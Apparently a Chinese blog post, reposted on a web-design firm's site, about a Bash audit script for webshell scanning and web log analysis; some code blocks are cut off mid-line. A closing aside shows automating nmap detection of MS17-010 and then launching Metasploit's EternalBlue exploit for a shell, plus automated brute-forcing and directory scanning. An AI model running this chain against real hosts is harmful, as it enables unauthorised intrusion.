如何实现基于BashShell的一个审计脚本-成都快上网建站

如何实现基于BashShell的一个审计脚本

这篇文章将为大家详细讲解有关如何实现基于Bash Shell的一个审计脚本,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

上犹网站建设公司创新互联公司,上犹网站设计制作,有大型网站制作公司丰富经验。已为上犹上千多家提供企业网站建设服务。企业网站搭建\外贸网站制作要多少钱,请找那个售后服务好的上犹做网站的公司定做!

windows下,无论是检查日志,还是扫描webshell,都有现成的工具使用,毕竟可视化,干啥也方便,Linux下比较麻烦,客户不让装这个,不让装那个,有些特殊情况下,服务器连个Python环境又没有,用perl写吧,还比较麻烦。

忽然想起来自己还写过两个小脚本,讲完课,没事儿改了改,给各位小伙伴们发上来,脚本没什么技术含量,无非就是些awk、grep、find、function等,希望能派上用场。

整体运行界面是这个样子的,界面眼熟吧,msf的图形,哈哈哈。

如何实现基于Bash Shell的一个审计脚本

总体分了三个内容:

一、Webshell后门扫描

二、网站日志分析

三、日志搜索

一、Webshell后门扫描

如何实现基于Bash Shell的一个审计脚本主要内容就是通过read -p 获取用户输入内容,然后进行判断

这里需要用户自行输入要扫描的网站路径,字典路径可有可无,留空,就会执行已经写好的东西,自定义的话,就需要用户自己输入字典路径了。。

可能有人看不清图,我就贴一小段命令出来吧。

if [ -z $filepath ];then
echo -e "\033[1;31m 请输入要扫描的路径!\033[0m"
webscan
elif [ -z $wordlist ];then
echo "---------------------扫描信息------------------------------------"
echo -e "\033[44;37m 网站路径:$filepath \033[0m"
echo -e "\033[44;37m 字典路径:$wordlist \033[0m"
echo "-------------------------------------------------------------------"
find $filepath -name "*.php"|xargs egrep "eval|

字典还是推荐使用windows下的notepad++来写,按照格式      test|\$POST|\(\$_POST   来写就好,特殊字符记得转意下。

尤其是涉及中文的,一定要在notepad++中,转换成unix格式,不然是无法识别中文的。

如何实现基于Bash Shell的一个审计脚本

执行以后的效果是这个样子的,虽然是丑了点,但是好歹还是能用的。

如何实现基于Bash Shell的一个审计脚本

二、网站日志分析

这个基本没变,懒得改了,详情可参考3年前写的那篇文章。

如何编写自己的Web日志分析脚本?

如何实现基于Bash Shell的一个审计脚本

运行结果如下:

如何实现基于Bash Shell的一个审计脚本如何实现基于Bash Shell的一个审计脚本

三、日志搜索

日志搜索,其实就是个文件名搜索和ip地址搜索功能

用户根据扫描出来的webshell后门名称,搜索名字,然后将搜索的信息进行去重、统计进行显示。

如何实现基于Bash Shell的一个审计脚本

主要是通过根据用户指定的文件名或IP地址,将用户的内容保存成变量,然后开始筛选,排除404、400的响应码以及Binary关键字等不关注的信息,然后针对性的进行输出和统计,让检索内容显示的简洁些,并将输出内容进行保存,方便日后查看。

echo "日志内容搜索"
        read -p "请输入要分析的脚本名称:" name66
        if [ -z $name66 ];then
        echo "请输入正确的文件名"
        else
        echo "*******************************检索内容如下:******************************************"
        more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "访问IP地址为:"$1" ""后门地址为:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66-ip.log
	    fl=$(cat $filepath3/log/$name66-ip.log)
        if [ -z $fl ];then
        echo "没有发现匹配$name66的内容"
	    rm -rf $filepath3/log/$name66-ip.log
        echo "按回车键重新进行搜索"
        read key
        super
        else
        cat $filepath3/log/$name66-ip.log
        echo "*******************************************************详细列表如下:******************"
        more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66.log
	    cat $filepath3/log/$name66.log
        echo "************************************************************************************"
        fi
        fi
	    menu
        ;;

运行结果如下:

如何实现基于Bash Shell的一个审计脚本

四、总结

其实整体内容,就是通过function函数来实现一个循环的小框架,来实现输入不同数字来执行定义好的函数功能而已。

毕竟都2020年了,不会徒手写shell脚本的攻城狮不是好运维~

写个整体代码的框架示例,可能看起来能更清楚些。。

#!/bin/bash

function menu
{
cat <

当用户执行时,根据输入的序号,来跳转到对应的逻辑上。

如何实现基于Bash Shell的一个审计脚本用户输入序号1,则进入到case的第一个逻辑上,输出echo "case 1"后,让它跳转到定义好的gn1函数上,并让gn1函数输出“我是功能1”后,返回到menu函数,也就是主界面。

如何实现基于Bash Shell的一个审计脚本如何实现基于Bash Shell的一个审计脚本

以此类推,当用户输入序号2时,调到gn2函数上。

function gn2
{
echo "我是功能2"	
read -p "如果想嵌套子功能,就学我:" zgn
case "$zgn" in
	1)
		echo "我是功能2的子功能,看见我因为你输入的是1"
	;;
	2)
		echo "case 2 or 3"
	;;
	3)
		echo "default"
	;;
esac
gn2

}

执行效果如下:

如何实现基于Bash Shell的一个审计脚本

五、题外话

在kali中,可以将常用的工具集中起来,配合bash shell的function函数,来实现自动化执行,就不需要背命令了,无论什么工具,输个IP地址或者域名就可以直接使用了,只要你提前在function里将它写好。

当然了,如果有在kali里做安全相关的毕设的同学们,可以把msf利用写进去,省去了手动输入命令的过程,还显得有B格~

例如:

nmap+msf的MS17-010配合使用时,可以这样去设计:

先使用read -p获取用户输入内容,并将其保存在变量里,当然了,nmap 要用户输入的地方,肯定是IP啦~

read -p "请输入要扫描的IP地址:" num2

利用nmap -v -n $num2 获取目标端口信息

再通过筛选445端口信息,配合awk来将信息进行分割输出,获取内容:

egrep "open port 445" |awk -F "/" '{print $1}')

并将内容保存到cmd变量里

然后再调用-script=smb-vuln-ms17-010格式对目标IP进行扫描,确认是否存在MS17-010漏洞,

nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_DNS"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'

将其保存在cmd2变量中

一旦目标IP存在MS17-010漏洞,输出结果中会含有相关信息,通过awk分割,获取关键词MS17-010,通过cmd2变量中获取的内容进行匹配,如果两者相当,则执行接下来的操作。

调用msfconsole,并将变量中的IP地址信息自动填写进去,关键命令如下:

msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"

最终,就实现了通过nmap扫描----判断漏洞-----利用漏洞的一系列效果了:

function ms17010
{
cat <

执行效果如下:

开始界面:

如何实现基于Bash Shell的一个审计脚本

利用nmap -script=smb-vuln-ms17-010,扫描到目标主机存在MS17-010漏洞后,自动执行攻击命令,获取shell权限。
如何实现基于Bash Shell的一个审计脚本

假设目标主机没有开启445端口,或者有防火墙,则提示失败。

如何实现基于Bash Shell的一个审计脚本

暴力破解也是如此。

利用nmap扫描服务信息,判断开放的服务,根据服务信息,自动调用要破解的模块,实现自动识别,自动破解,输出结果的过程,其实就是个调用,调用,再调用,没什么技术性,关键是在于一个字!

懒!

有学生之前问过,windows上好些工具,都需要进命令行里去执行,好麻烦,每次都记不住,还得打开txt复制命令去用,好烦啊~

当然了,Linux上懒也就罢了,windows上也可以稍微懒一懒。

例如:

windows上可以通过批处理的方式,来写个懒人批处理

原理,依然是获取于用户输入,然后将输入内容带进变量里去执行,简单的不要不要的~

@set /p ym="输入要扫描的域名地址:"
@set /p jb="输入要扫描的脚本类型:"
@rem 等待用户输入 
@set /p gn="请选择要使用的功能:":
@rem 选择环境编码1
@if %gn%==1 (
@echo 普通扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401
 ) else (
@if %gn%==2 (
@echo 递归扫描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5
pause
 )

最终实现效果如下:

如何实现基于Bash Shell的一个审计脚本

关于“如何实现基于Bash Shell的一个审计脚本”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。


新闻名称:如何实现基于BashShell的一个审计脚本
浏览路径:http://kswjz.com/article/pigssp.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流